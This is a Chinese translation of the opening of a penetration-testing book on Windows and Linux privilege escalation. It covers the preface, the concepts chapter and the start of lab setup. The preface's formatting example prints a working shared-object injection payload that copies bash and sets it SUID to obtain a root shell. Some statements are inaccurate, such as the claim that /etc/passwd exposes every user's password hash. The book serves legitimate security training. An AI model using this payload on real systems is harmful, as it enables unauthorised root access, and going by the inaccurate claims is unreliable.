权限维持技术-全-

权限维持技术（全）

原文：annas-archive.org/md5/9805e2a1c16e127b366157a83eb2f43d

译者：飞龙

协议：CC BY-NC-SA 4.0

前言

本书是一本关于 Windows 和 Linux 系统特权提升过程的全面指南，旨在通过提供真实的练习和场景，采用易于操作的方式让读者掌握实用技能。本书从介绍特权提升开始，涵盖了搭建实操虚拟黑客实验室的过程，这个实验室将用于展示本书中所讨论的各种技术的实际应用。每一章内容都基于前一章展开，通过提供可以复制的练习和场景来验证学习过程。

你将学习如何从目标系统中枚举尽可能多的信息，利用手动和自动化枚举工具，通过多种技术（如冒充攻击或内核漏洞利用等）提升 Windows 系统的特权，并通过使用内核漏洞或利用 SUID 二进制文件提升 Linux 系统的特权。

本书分为三个部分，互相衔接，第一部分涵盖特权提升的简介、如何在目标系统上获得初步立足点，以及如何从目标系统中枚举信息。接下来的两部分专注于介绍适用于 Windows 和 Linux 系统的各种特权提升技术和工具。

本书将为你提供必要的技能，使你能够从目标系统中枚举信息，识别潜在漏洞，并利用手动技术或自动化工具提升目标系统的特权。

本书适合谁阅读

本书面向学生、网络安全专业人员、爱好者、安全工程师、渗透测试人员，或者任何对渗透测试或信息安全有浓厚兴趣的人群。本书可以作为个人、公司或培训机构的学习材料。

无论你是信息技术行业的新手学生，还是经验丰富的专业人士，本书都能为你提供有价值的信息，帮助你提升渗透测试技能。

本书内容

第一章，特权提升简介，介绍了特权提升过程、各种特权提升攻击类型，以及 Windows 和 Linux 系统上特权提升的差异。

第二章，搭建实验环境，介绍了虚拟化的概念，如何搭建自己的渗透测试实验室，如何设置易受攻击的虚拟机，以及如何安装和配置 Kali Linux。

第三章，获取访问权限（漏洞利用），重点讲解了设置 Metasploit 框架、使用 Nmap 进行信息收集、识别漏洞以及利用这些漏洞获取系统访问权限的过程。

第四章，执行本地枚举，涵盖了手动和自动从 Windows 和 Linux 系统中枚举信息的过程。

第五章，Windows 内核漏洞利用，探讨了通过 Metasploit 手动和自动执行内核漏洞利用，以提升权限的过程。

第六章，伪装攻击，解释了 Windows 访问令牌的工作原理，概述了枚举权限的过程，讲解了令牌伪装攻击，并涵盖了通过腐烂土豆攻击提升权限的过程。

第七章，Windows 密码挖掘，探讨了在文件和 Windows 配置文件中搜索密码、寻找应用程序密码、转储 Windows 哈希值并破解转储的密码哈希值，以提升权限的过程。

第八章，利用服务，涵盖了利用未引用的服务路径、利用二级登录句柄、利用弱服务权限和执行 DLL 劫持的过程。

第九章，通过 Windows 注册表提升权限，研究了利用弱注册表权限、自动运行程序和利用“始终以管理员身份安装”功能的过程。

第十章，Linux 内核漏洞利用，解释了 Linux 内核的工作原理，并涵盖了通过 Metasploit 手动和自动执行内核漏洞利用的过程。

第十一章，Linux 密码挖掘，重点讲解了从内存中提取密码、在配置文件中查找密码以及在 Linux 历史文件中查找密码的过程。

第十二章，定时任务，介绍了 Linux 中的 cron 作业，并涵盖了通过利用 cron 路径、cron 通配符和 cron 文件覆盖来提升权限的过程。

第十三章，利用 SUID 二进制文件，概述了 Linux 中文件系统权限的工作原理，并探讨了寻找 SUID 二进制文件以及通过共享对象注入提升权限的过程。

为了充分利用本书

要最大限度地利用本书，你应当具备基本的网络知识，特别是 TCP/IP、UDP 以及它们各自的协议。此外，考虑到本书所涉及技术的性质，你还应对 Windows 和 Linux 的工作原理和功能有所了解。

本书所需的硬件配置相对标准。你可以使用一台支持虚拟化并能够运行 Oracle VirtualBox 的笔记本或台式计算机。根据硬件和操作系统的规格，推荐以下配置：

操作系统（Windows）：Windows 7 或更高版本，最好是 64 位
操作系统（Linux）：Ubuntu、Debian、Fedora 或任何基于 Debian 或 Fedora 的稳定发行版
处理器：Intel i5 或更高
RAM：8 GB 或更高
硬盘：500 GB 硬盘

如果你使用的是本书的数字版，我们建议你自己输入代码或从本书的 GitHub 仓库访问代码（下一节中提供了链接）。这样可以帮助你避免复制和粘贴代码时可能出现的错误。

代码实战

本书的《代码实战》视频可以在bit.ly/3CPN0DU查看。

下载彩色图片

我们还提供了一份 PDF 文件，其中包含了本书中使用的截图和图表的彩色版本。你可以在此下载：static.packt-cdn.com/downloads/9781801078870_ColorImages.pdf。

使用的约定

本书中使用了一些文本约定。

文本中的代码：表示文本中的代码单词、数据库表名、文件夹名、文件名、文件扩展名、路径名、虚拟 URL、用户输入和 Twitter 用户名。例如：“在将 Bash 脚本下载到我们的 Kali 虚拟机后，我们需要将linpeas.sh文件传输到目标虚拟机。”

一段代码如下所示：

include <stdio.h>

include <stdlib.h>

static void inject() attribute((constructor));

void inject() {

system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");

}

当我们希望引起你注意代码块中特定部分时，相关行或项目会以粗体显示：

include <stdio.h>

include <stdlib.h>

static void inject() attribute((constructor));

void inject() {

system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");

}

所有命令行输入或输出以如下格式书写：

ls -al /home/user/

粗体：表示一个新术语、一个重要单词或你在屏幕上看到的单词。例如，菜单或对话框中的单词会显示为粗体。例如：“从管理面板中选择系统信息。”

提示或重要说明

如此显示。

联系我们

我们始终欢迎读者的反馈。

一般反馈：如果您对本书的任何内容有疑问，请通过电子邮件 customercare@packtpub.com 与我们联系，并在邮件主题中注明书名。

勘误：尽管我们已尽力确保内容的准确性，但错误仍然可能发生。如果您在本书中发现了错误，我们将非常感激您向我们报告。请访问 www.packtpub.com/support/errata 并填写表格。

盗版：如果您在互联网上遇到我们作品的任何非法复制形式，我们将非常感激您能提供相关的地址或网站名称。请通过电子邮件 copyright@packt.com 与我们联系，并附上相关材料的链接。

如果您有兴趣成为作者：如果您在某个领域拥有专长，并且有意撰写或参与编写书籍，请访问 authors.packtpub.com。

分享您的想法

阅读完 特权提升技术 后，我们非常希望听到您的想法！请点击这里直接访问亚马逊评论页面为本书留下反馈。

您的评论对我们和技术社区非常重要，将帮助我们确保提供优质内容。

第一部分：获得访问权限和本地枚举

本节将为您介绍特权提升过程，并涵盖如何在目标系统上获得初步立足点以及如何在目标系统上执行本地枚举，以识别潜在的漏洞。

本节包括以下章节：

第一章，特权提升简介
第二章，建立我们的实验环境
第三章，获得访问权限（利用）
第四章，执行本地枚举

第一章: 权限提升介绍

权限提升是攻击生命周期中的关键环节，也是渗透测试成功与否的主要决定因素。

在渗透测试过程中，权限提升的重要性不可过分强调或忽视。提升你的权限提升技能会让你成为一名优秀的渗透测试员。能够枚举目标系统的信息，并利用这些信息识别潜在的配置错误和漏洞，从而提升权限，这是每个渗透测试员的基本技能。

本章旨在让你更清晰地了解权限提升过程，并作为对各种权限提升技术的正式介绍，同时也会介绍 Windows 和 Linux 系统之间在权限提升过程中的差异。

要全面理解并利用各种权限提升工具和技术，首先需要了解在不同操作系统中权限和特权的实现方式，以及这些设计和实现差异如何整体影响权限提升过程。

到本章结束时，你将清楚地了解什么是权限提升，同时你也会理解 Windows 和 Linux 系统中权限的实现方式，并简要介绍我们将在接下来的章节中深入探讨的各种权限提升技术。

在本章中，我们将覆盖以下主题：

什么是权限提升？
权限和特权是如何分配的
理解 Windows 与 Linux 中权限提升的差异
探索权限提升攻击的类型

什么是权限提升？

权限提升是利用系统中的漏洞或配置错误，将用户权限从一个级别提升到另一个级别的过程，通常是提升到具有管理员或root访问权限的用户。成功的权限提升使攻击者能够增强对系统或属于某个域的多个系统的控制，从而能够进行管理性更改、窃取数据、修改或破坏操作系统，并通过持久化手段（如注册表编辑或定时任务）保持访问。

从渗透测试员的角度来看，权限提升是在成功利用系统漏洞后，进行下一步操作的逻辑步骤，通常通过绕过或利用认证与授权系统来执行，这些系统的目的是根据用户的权限和角色隔离用户账户。

一种典型的方法是利用系统的初始访问权限或立足点，获取超出当前用户账户权限范围的资源和功能。这个过程通常被称为获得root权限。

在我们开始各种权限提升技术之前，我们需要了解现代操作系统是如何实现用户帐户和权限的。

权限和特权的分配方式

为了更好地理解如何提升特权，我们需要首先了解操作系统是如何在用户帐户和特权方面进行设计的。

操作系统的授权设计旨在处理多个具有不同角色和权限的用户。角色的这种隔离是现代操作系统中实现不同用户帐户哲学的主要因素。

系统上用户角色和权限的抽象由一个称为保护环的系统来设置和促成，如图 1.1 所示。它指定了用户在系统上的功能限制并强制执行他们相应的资源访问。

正如名称所示，保护环是一种层级保护和隔离机制，用于提供系统上功能和资源的不同访问级别。等级保护环表示操作系统中的特权层次，如下图所示：

图 1.1 – 保护环

图 1.1 中的等级保护环从最有特权的（通常表示为 0 级）到最少特权的按顺序排列，最少特权的表示为最高的环编号。系统上权限的这种隔离导致了两种主要角色的采用，如下所示：

特权访问：通常分配给根用户或管理员帐户，并提供对所有系统命令和资源的完全访问。根用户或管理员帐户通常具有以下功能：

1. 安装、卸载和修改系统软件或二进制文件的能力

2. 添加、修改或删除用户及用户组的能力

3. 创建、访问、修改和删除任何系统或用户数据的能力

4. 访问和控制所有系统硬件的能力

5. 访问网络功能和网络工具的能力

6. 创建、管理和终止系统和用户进程的能力
非特权访问：通常赋予非根用户或标准用户帐户，权限有限，通常针对系统上标准用户访问的特定权限集进行设计和定制。它将用户的功能限制为基本任务以及对系统上用户数据的访问。非根用户帐户通常具有以下功能：

1. 启动和停止用户进程和程序的能力

2. 创建、修改和删除用户数据的能力

3. 访问网络功能的能力

这种权限的隔离突显了权限提升对于渗透测试人员或攻击者的重要性，因为它提供了对系统的完全和无与伦比的控制，或者如果他们能够获得“root”或管理员访问权限，则可能控制一组系统。

根据权限提升攻击与用户帐户和权限的关系，攻击者可以根据他们的意图和目标采用两种主要的权限提升方法，如下所示：

水平权限提升
垂直权限提升

我们将在下一节中更详细地探讨它们是什么。

水平权限提升

水平权限提升是访问系统中其他用户帐户的功能或数据的过程，而不是获得具有管理员或 root 权限的帐户的访问权限。它主要涉及使用权限水平相同的帐户访问或授权系统中的功能，而不是访问权限更高、权限更多的用户帐户。

攻击者或渗透测试人员通常会执行这种类型的权限提升攻击，目的是访问没有权限的用户帐户数据，或窃取用户帐户凭证或密码哈希值。

场景

以下截图展示了计算机上典型的帐户设置，其中有两个没有权限的用户和一个有权限的用户。在这种情况下，两个没有权限的用户分别是John和Mike，有权限的用户是Collin：

图 1.2 – 水平权限提升场景

在这个场景中，John 正在尝试执行典型的水平权限提升攻击，将他的用户帐户权限提升到 Mike 的帐户权限。请注意，John 和 Mike 处于相同的水平权限级别。

图 1.2 清晰地概述了水平权限提升的唯一目标，目标是将权限提升到与执行攻击的用户帐户处于同一水平的用户帐户。

垂直权限提升

垂直权限提升是利用操作系统中的漏洞来获取系统的 root 或管理员访问权限的过程。由于权限和功能的巨大回报，攻击者和渗透测试人员通常更偏向于这种方法，因为它们现在对系统拥有完全的访问和控制权限。

以下截图概述了用户帐户权限和特权的自下而上的方法，其中最顶部的帐户具有最高的权限，最不容易访问，通常分配给系统管理员。最底层的帐户设置和配置为标准用户和无需管理员权限的服务使用，这些服务在日常任务中不需要管理员权限：

图 1.3 – 垂直特权提升

图 1.3 同样展示了一个基于用户账户和权限的垂直特权提升方法，适用于 Windows 和 Linux 系统，目标是横向提升到特权最高的账户，从而获得系统的完全访问权限。

重要提示

垂直特权提升可能不仅仅来源于操作系统或服务中的漏洞利用。常见的情况是系统和服务配置错误，可能允许非管理员用户账户以管理员权限运行命令或二进制文件。我们将在接下来的章节中探讨各种特权提升技术。

场景

以下截图展示了计算机上典型的账户设置，其中有两个非特权用户和一个特权用户。在这种情况下，两个非特权用户分别是约翰和迈克，而特权用户是科林：

图 1.4 – 垂直特权提升场景

在此场景中，图 1.4 展示了一个传统的垂直特权提升方法，其中用户约翰试图将特权提升到管理员账户，即科林的账户。如果成功，约翰将获得管理员特权，并能够访问所有用户账户和文件，从而完全控制系统。此场景展示了成功的垂直特权提升攻击的重要性和潜在影响。

现在我们已经了解了两种主要的特权提升方法以及它们的运作方式，我们可以开始查看 Windows 和 Linux 上特权提升之间的各种区别。

了解 Windows 和 Linux 上特权提升的区别

现在我们对用户账户和权限的实现有了大致了解，并且查看了两种主要的特权提升方法，我们可以开始了解在特权提升攻击的背景下，Linux 和 Windows 之间的差异，以及它们各自的设计和开发理念如何影响特权提升过程。

这种细致的方法将帮助我们清晰地了解两个操作系统及其相应内核在漏洞和潜在利用方面的优缺点。

以下表格概述了两种操作系统及其服务中可以被利用来提升特权的常见潜在攻击向量：

表 1.1 – 常见潜在攻击向量

为了全面理解这两种操作系统在潜在漏洞和攻击路径方面的差异，我们需要了解它们如何处理身份验证和安全性，因为这将帮助我们发现安全隐患。然而，值得注意的是，Windows 和 Linux 之间的安全差异归结于它们独特的设计理念。

Windows 安全

Windows 是一个由微软公司拥有和开发的专有操作系统，占据了大约 93% 的 PC 市场份额，这意味着大多数公司很可能在其最终用户设备上运行 Windows 客户端，或者在其关键基础设施中部署 Windows Server。

因此，Windows 更有可能运行在员工的笔记本电脑和工作站上，因为它具有更加以用户为中心的设计（UCD）和理念。为了理解 Windows 上的特权提升过程，我们需要了解 Windows 如何管理和维护系统安全。为此，我们需要更详细地查看负责管理和维护 Windows 身份验证和安全性的各种组件。

用户身份验证

身份验证是验证试图访问系统或系统资源的用户身份的过程。

现代操作系统中的身份验证通常是通过用户名和密码组合来强制执行的；然而，操作系统已开始实现附加的身份验证层，并且为用户密码实现更强大的加密算法。

密码和密码散列通常是渗透测试人员的目标，我们将在本书后面介绍如何提取系统密码和散列值。

Windows 上的用户身份验证由Windows 登录（Winlogon）进程和安全账户管理器（SAM）处理。SAM 是一个用于管理和存储 Windows 系统上用户账户的数据库。

现代版本的 Windows 使用新技术局域网管理器 2（NTLM2）加密协议进行密码散列和加密，远远强于旧版本 Windows 中的局域网管理器（LM）加密协议。

Windows 上的域身份验证通常通过诸如 Kerberos 等身份验证协议来实现。

用户识别

用户识别用于唯一标识系统中的用户，并用于建立一个责任体系，因为在系统上执行的操作可以追溯到执行它们的用户。了解 Windows 上如何实现和运作用户识别，对于特权提升过程中的用户识别非常有用，可以帮助识别系统中的用户、他们的角色和组。

在 Windows 中，用户身份验证过程使用 安全标识符（SID）进行识别。每个用户和组都有一个唯一的 SID，该 SID 由以下截图中列出的组件组成：

图 1.5 – 示例 Windows SID

以下是前述 SID 的不同参数说明：

**SID 字符串: **S 表示这是一个 SID 字符串
修订版: 始终设置为 1；这是指结构的修订号
权限 ID: 指明谁创建或授予了 SID，如下所示：
- 空值: 0
- 全局权限: 1
- 本地权限: 2
- 创建者权限: 3
- 非唯一权限: 4
- NT 权限: 5
子权限 ID/实际 ID: 用户的唯一标识符，或者包含域标识符
RID: 代表 相对 ID，用于与其他账户进行区分。Windows 将为特定用户分配以下唯一的 RID。能够根据 SID 识别特权用户非常重要，如下所示：
- 管理员: 500
- 来宾用户: 501
- 域管理员: 512
- 域计算机: 515

你可以通过在 命令提示符（CMD）中运行以下命令来枚举 Windows 系统上的 SID：

wmic useraccount get name,sid

此命令将枚举系统上所有用户账户的 SID，如下图所示。请特别注意 RID，因为它们可以用来快速识别管理员和来宾账户：

图 1.6 – 枚举 Windows SIDs

如 图 1.6 所示，我们可以根据 RID 来识别用户角色，而无需关注账户用户名。在这个特定的例子中，我们设置了管理员和来宾账户，它们可以通过 RID 被识别。

访问令牌

访问令牌是描述和标识系统中进程或线程安全上下文的对象。每次用户成功认证时，访问令牌由 Winlogon 进程生成，并包含与线程或进程关联的用户账户的身份和权限。然后，该令牌被附加到初始进程（通常是 userinit.exe 进程），之后所有子进程将继承来自其创建者的访问令牌副本，并在相同的访问令牌下运行。

在 Windows 上，访问令牌将包含以下元素：

用户 SID
组 SID
登录 SID
分配给用户或用户组的权限
自主访问控制列表（DACL）正在使用
访问令牌的来源

我们可以通过在 CMD 中运行以下命令列出用户的访问令牌：

Whoami /priv

如果用户没有特权，则访问令牌将被限制，如下图所示：

图 1.7 – 限制访问令牌

需要注意的是，图 1.7 中高亮的用户具有管理权限；然而，cmd.exe 进程使用的访问令牌限制了权限。如果我们以管理员身份运行 cmd.exe，该用户的访问令牌将列出所有权限，如下截图所示：

图 1.8 – 特权访问令牌

访问令牌可以在特权升级过程中通过诸如主访问令牌操控攻击等手段加以利用，该攻击通过欺骗系统使其相信一个进程属于不同的用户，而不是启动该进程的用户。我们将在本书后续部分学习如何利用这一攻击途径来提升我们的权限。

Linux 安全性

Linux 是一个免费的开源操作系统，包括由 Linus Torvalds 开发的 Linux 内核和GNU 的非 Unix（GNU）工具包。GNU 工具包是由 Richard Stallman 最初启动和开发的软件和实用工具的集合。这些开源项目的结合构成了 Linux 操作系统的整体，通常称为 GNU/Linux。

通常，大多数个人和公司可能会运行 Windows 客户端，并且会使用 Linux 作为其关键基础设施——例如邮件服务器、数据库、网页服务器和入侵检测系统（IDSes）。鉴于 Linux 服务器在组织中的性质和部署方式，攻击更有可能严重影响公司并造成重大干扰。

用户身份验证

Linux 上的用户账户详细信息存储在 /etc/passwd 文件中。此文件包含用户账户用户名、用户 ID（UID）、加密密码、组 ID（GID）以及个人用户信息。

该文件可以被系统中的所有用户访问，这意味着系统中的任何用户都可以检索其他用户的密码哈希值。这使得在 Linux 上的哈希转储过程变得更加直接，也为潜在的密码破解攻击敞开了大门。大多数较老的 Linux 发行版使用 消息摘要算法 5（MD5）哈希算法，这种算法更容易破解，因此大多数较新的发行版已经开始使用并实施 安全哈希算法 256（SHA-256）加密协议，使得破解哈希变得更加困难。

身份识别

Linux 上的用户身份验证通过使用与唯一 UID 对应的用户名来实现，UID 是一个数值，由系统管理员自动分配或手动分配。Linux 上的 root 账户的 UID 始终为 0。

这些用户信息以及加密后的用户密码存储在/etc/passwd 文件中。

访问令牌

Linux 上的访问令牌与 Windows 上的工作方式类似，但它们存储在内存中（随机访问内存，或 RAM），并在初始化时附加到进程上。

Linux 上的访问令牌将包含以下信息：

用户账户的 UID
用户所属组的 GID/GIDs
用户权限
主要组 UID
访问控制列表（ACL）条目

现在我们对 Windows 和 Linux 上使用的各种身份验证和安全组件有了基本了解，我们可以看看各种类型的权限提升攻击及它们如何利用上述安全机制。

探索权限提升攻击的类型

现在我们可以探讨最常见的权限提升攻击及其工作原理。目标是对可用的权限提升攻击类型有一个基本的了解，并理解它们是如何被利用的。

在接下来的章节中，我们将深入探讨如何在 Windows 和 Linux 系统上利用这些漏洞。

内核漏洞利用

内核漏洞利用是影响 Windows 和 Linux 系统的程序或二进制文件，旨在利用底层内核中的漏洞，以提高权限或获取“root”权限来执行任意代码。

漏洞利用过程是多方面的，需要进行大量的枚举，以确定操作系统版本和已安装的补丁或热修复程序，从而判断系统是否受到内核漏洞的影响，接着可以通过各种漏洞库（如 exploit-db）获取内核漏洞利用代码。漏洞代码应该被检查并根据所需的参数和功能进行定制。定制完成后，代码可以编译成二进制文件并传输到目标系统上执行。在某些情况下，如果漏洞利用代码依赖于某些依赖项，则需要在目标系统上下载并编译。

成功编译并执行二进制文件后，内核漏洞利用将通过 shell 提示符授予攻击者在目标系统上“root”访问权限，攻击者可以使用“root”权限在系统上运行命令。

在许多情况下，Windows 系统的预编译内核漏洞利用代码已经在线存在，并且可以直接下载和执行，从而完全避免了编译过程。然而，在编译之前，检查和分析漏洞利用代码非常重要，因为漏洞代码可能包含恶意代码或有效负载。

重要说明

内核漏洞利用是非常强大的；然而，它们可能导致系统崩溃和内核恐慌，这会阻碍权限提升过程，并可能对系统造成损害。

利用 SUID 二进制文件

SUID 是一个内建的 Linux 特性，允许用户以其他用户的权限执行二进制文件和文件。

该功能通常用于允许非 root 账户以 root 权限运行系统工具和二进制文件。您可以将程序或工具的 SUID 权限设置为“root”所有者。这样，每当非 root 用户执行该程序或工具时，它将以“root”权限运行。攻击者可以利用或利用 SUID 配置错误，以 root 权限运行任意命令。

例如，允许执行任意命令的程序或二进制文件，如vim，不应将其 SUID 所有者设置为“root”，因为非 root 用户可以利用 vim 中的命令执行功能，以“root”权限运行命令。

利用易受攻击的服务和权限

服务提供了攻击者最大的威胁面，因为在 Windows 和 Linux 系统上运行的程序和服务种类繁多且各不相同。

攻击者通常会目标是识别错误配置或易受攻击的服务和程序，这些服务和程序可能促成权限提升。例如，在 Linux 系统上，攻击者会尝试识别并利用 cron jobs 的配置错误，利用其功能执行任意代码或恶意二进制文件。

利用 Windows 上的易受攻击或不安全服务通常涉及在具有管理员权限的服务中嵌入有效负载。当服务执行时，它以管理员权限执行有效负载，从而允许二进制文件以“root”权限执行命令。

不安全的凭证

这一技术涉及搜索系统上由用户存储的不安全凭证，或通过破解弱用户凭证的过程来进行。许多用户——甚至是系统管理员——会将密码以明文形式记录在文档、电子表格和配置文件中，用于各种服务账户。这些文件可以通过运行专门的搜索查询和各种命令行工具来找到。

其中一个例子是使用 Linux 上的 find 命令行工具来定位具有特定扩展名和文件名的文件。

利用 SUDO

攻击者通常会瞄准具有 SUDO 权限的用户。SUDO 允许用户以其他用户身份（通常是 root 用户）运行命令。

SUDO 权限通常由管理员手动配置，这使得可能存在配置错误的风险。例如，管理员可以为某些命令行工具（如 find 或 vim）分配 SUDO 权限，这些工具可以运行 shell 命令或任意代码。

攻击者可以利用这一点运行任意代码或以“root”权限执行命令。

重要提示

SUDO 是一种 Linux 命令和权限设置，允许用户以超级用户或“root”权限运行命令或程序。

这些只是一些可以在 Windows 和 Linux 系统上使用的权限提升攻击和技术。我们将在接下来的章节中详细介绍如何使用这些技术。

总结

本章向你介绍了权限提升过程，解释了现代操作系统中如何实现特权和用户账户，并探讨了 Windows 和 Linux 系统中权限提升的区别。还重点讲解了最常见的权限提升技术，并解释了如何利用它们。

现在你应该对权限提升过程有了较好的理解，了解了权限和特权是如何实现的，以及在 Windows 和 Linux 上使用的各种渗透测试技术。

在下一章中，我们将开始设置我们的虚拟环境，并准备我们的渗透测试分发版。我们还将了解我们将使用的各种工具和框架，以增强和优化权限提升过程。

第二章：设置我们的实验室

由于安全研究员或渗透测试人员从事的工作本质上是复杂且技术性的，因此，练习和测试你的黑客技能时，必须在安全的隔离虚拟环境中进行，以避免对公共系统、计算机或网络造成损害。搭建虚拟黑客实验室的艺术是渗透测试人员的一项重要技能，它允许快速部署、测试和利用系统，而无需攻击公共系统或网络基础设施。

因此，了解如何设置一个可以合法进行渗透测试的虚拟化环境至关重要。拥有一个个人虚拟黑客实验室可以让你测试新的攻击、漏洞利用和工具，进而提升学习效果，并不断增强你的技能，使你成为一个更有能力的黑客。类似地，在本章中，你将学习如何设计和配置你自己的强大、隔离的虚拟黑客实验室，用于学习和实践本书中展示的各种漏洞利用和权限提升技术，这些技术涉及 Windows 和 Linux 操作系统。

本章将提供设计、部署、配置和故障排除自己隔离的虚拟黑客实验室所需的知识和技能。

在本章中，我们将涵盖以下主题：

设计我们的实验室
构建我们的实验室
设置 Kali Linux

技术要求

要跟随本章的演示，你需要确保满足以下硬件和软件要求：

需要一个运行 Windows、Linux 或 macOS 的操作系统。
至少需要 4 GB 的 RAM，推荐规格为 8 GB。
至少 500 GB 的空闲存储空间。
支持虚拟化技术的处理器（例如，Intel VT-x 或 AMD VT）。
一般了解VirtualBox的工作原理。

现在我们已经了解了将要覆盖的内容，接下来让我们深入探讨第一个话题。

你可以在这里查看本章的代码示例：bit.ly/3ukgh6C

设计我们的实验室

在本节中，我们将开始构建我们的虚拟黑客实验室。我们将根据本书中练习和演示的需求，设计并构建我们的实验室。

为了搭建我们的实验室基础设施，我们需要利用虚拟化技术。这将使我们避免因硬件和网络配置产生额外费用，因为我们将在一个主机上运行所有的客操作系统并配置我们的虚拟网络。

在开始设计和构建我们的实验室之前，我们需要探索虚拟化作为一个概念和实践。首先，我们将了解虚拟化在构建和配置虚拟黑客实验室中的重要性和作用。

虚拟化

虚拟化是指在具有抽象硬件层的操作系统虚拟实例上运行的过程。虚拟化使得多操作系统能够在单一计算机或主机上同时运行。它被发明出来的目的是帮助大型组织和公司减少对硬件设备的需求以及在托管和网络设备上的开支。

最初，大型公司和组织需要购买整台服务器来托管如电子邮件和 Web 应用程序等服务。每项服务都托管在独立的专用服务器上。这导致了企业支出增加，但对于性能和资源效率等因素并没有带来额外的好处，因为大多数服务器配置为高性能、具有大量系统资源如RAM，并且配置了强大的 CPU。然而，考虑到公司通常只能在一台服务器上托管一项服务，大多数时候，像处理能力和 RAM 这样的系统资源会被低效利用，这使得托管变得低效。这种传统托管基础设施的类型如图 2.1所示：

图 2.1 – 传统托管基础设施

资源效率低下的问题正是虚拟化技术所要解决的。通过虚拟化，企业现在能够在一台专用服务器上运行多个操作系统并托管多个服务。虚拟化确保了系统资源得到适当和高效的利用，因为服务器可以配置为在物理资源和服务器容量的限制下尽可能多地运行服务。

图 2.2展示了如何使用像 VirtualBox 这样的虚拟机监控器，通过虚拟化将多个操作系统和服务配置在一台服务器上运行：

图 2.2 – 现代托管基础设施

在图 2.2中，一台服务器已被配置为虚拟化三个操作系统，每个操作系统都托管自己的服务。这清晰地展示了虚拟化不仅对企业有益，也对个人和专业人士有益。同样，我们将使用虚拟化技术在一台主机系统上托管我们的目标操作系统和攻击者操作系统。为了利用虚拟化技术，我们需要了解虚拟机监控器。

重要提示

虚拟化提供的一个关键特性是对来宾操作系统的隔离，这为基础设施提供了安全性和稳定性。虚拟机隔离可以根据需要进行配置；我们将在设置虚拟机时更深入地了解来宾隔离和虚拟网络。

虚拟机监控器

虚拟化管理程序是负责创建、运行和管理虚拟机的计算机程序。它负责促进虚拟化过程并设置运行操作系统所需的模拟环境。

虚拟化管理程序根据其部署和使用案例分为两大类：

Type 1 虚拟化管理程序：这些虚拟化管理程序直接安装在硬件上，并通常作为操作系统运行。这些类型的虚拟化管理程序也被称为裸金属虚拟化管理程序。以下是一些 Type 1 虚拟化管理程序的例子：

a) VMware ESX

b) Microsoft Hyper-V Server

c) Proxmox-VE

图 2.3展示了 Type 1 虚拟化管理程序的部署结构，其中虚拟化管理程序管理系统直接安装到硬件上，并作为主操作系统，创建并管理虚拟机：

图 2.3 – Type 1 虚拟化管理程序结构

Type 2 虚拟化管理程序：这些虚拟化管理程序直接安装在主操作系统上，如 Windows、Linux 或 macOS。它们像传统程序一样运行，而不是直接在硬件上运行。

Type 2 虚拟化管理程序无法直接访问系统硬件；相反，Type 2 虚拟化管理程序使用主操作系统可用的系统资源。图 2.2展示了典型的 Type 2 虚拟化管理程序设置，其中虚拟化管理程序直接安装在主操作系统之上。以下列出了部分免费的和商业的 Type 2 虚拟化管理程序：

a) Oracle VirtualBox（免费）

b) VMware Player（免费）

c) VMware Workstation Pro（商业）

d) Parallels Desktop for macOS（商业）

什么是虚拟机？

虚拟机是一个模拟操作系统，它直接运行在另一个操作系统之上。虚拟机可以访问并根据用户需求分配资源。例如，我们可以指定虚拟机的内存大小、核心数量、逻辑处理器数量以及虚拟机可访问的网络接口和 USB 设备。默认情况下，虚拟机使用虚拟磁盘镜像进行存储，并且可以根据需要进行扩展。像 VirtualBox 这样的虚拟化管理程序还允许我们为虚拟机拍摄快照，以作为冗余的一种形式。这在虚拟机因配置错误或系统故障而失败时非常有用；你可以轻松地将虚拟机恢复到之前的快照。

你应该使用哪种类型的虚拟化管理程序？

如前所述，您选择的虚拟化程序类型将取决于您的部署性质和个人使用案例。如果您有多台计算机或笔记本电脑，可以尝试使用像 Proxmox-VE 这样的类型 1 虚拟化程序，我个人使用它是因为它提供了更强大的功能。如果您打算在一台计算机或笔记本上运行虚拟黑客实验室，那么显而易见的选择是类型 2 虚拟化程序，因为它可以直接安装在主机操作系统上。

现在我们对虚拟化技术有了更好的理解，并且了解如何利用该技术设置虚拟黑客实验室，我们可以看看如何结构化我们的实验室。

实验室结构

在开始构建我们的虚拟实验室之前，我们需要了解实验室的结构、将使用的软件和操作系统，以及我们将实施的网络配置。这将使部署过程更加简单和直接。

第一步是选择我们偏好的虚拟化程序。本书中，我们将使用Oracle VirtualBox，它是一个类型 2 虚拟化程序，免费且开源，开箱即用就具备了很好的功能。我们将在下一节中讨论如何安装和配置 VirtualBox。

操作系统

我们将部署多种强大的 Windows 和 Linux 操作系统。这将使您能够模拟真实世界的攻击，不仅仅针对单一目标。您在典型的渗透测试中也可能会遇到不同的操作系统。我们将在虚拟黑客实验室中使用以下操作系统：

Windows 7
Windows Server 2008
Windows Server 2012
Windows 10
Metasploitable2
Kali Linux

我们将使用 Kali Linux 作为我们的进攻操作系统，其他操作系统将作为目标操作系统使用。

重要提示

Windows Server 2012 目标虚拟机是可选的。本书中展示的大多数技巧和攻击可以在 Windows Server 2008 上复制。

现在我们已经对将要使用的虚拟化程序和操作系统有了了解，接下来可以设置我们想要的虚拟网络结构。

虚拟网络拓扑

图 2.4 描述了我们将在 VirtualBox 中设置虚拟网络时所使用的期望网络拓扑。所有虚拟机将互联并与任何外部网络隔离：

图 2.4 – 虚拟网络拓扑

VirtualBox 允许我们创建一个完全隔离的虚拟网络，无需路由器或交换机。每台虚拟机都需要分配一个 IP 地址。我们将使用 VirtualBox 内置的虚拟交换机来设置一个基于动态主机配置协议（DHCP）的网络，其中 IP 地址将自动分配给虚拟机。这将模拟一个真实的网络环境；然后我们将不得不执行一些基本的主机发现来手动映射网络和主机。

现在我们对将要使用的软件以及我们实验室所需的结构和网络拓扑有了很好的了解。下一步是将所有这些部分组合在一起。

建立我们的实验室

现在我们已经准备好开始将各种部分组合在一起构建我们的虚拟黑客实验室。我们将从设置我们选择的虚拟化程序 VirtualBox 开始。如果您已经熟悉其他首选的虚拟化程序，也可以随意使用。这些步骤大部分也可以在VMware Workstation和VMware Player上重新创建。

安装和配置 VirtualBox

VirtualBox 是一个跨平台的开源第 2 型虚拟化程序，提供出色的功能和性能。第一步是根据您正在运行的主机操作系统下载正确的安装二进制：

在浏览器中打开www.virtualbox.org/wiki/Downloads。您将看到支持操作系统的下载链接，如图 2.5所示。选择您的主机操作系统开始下载：

图 2.5 – 下载 VirtualBox
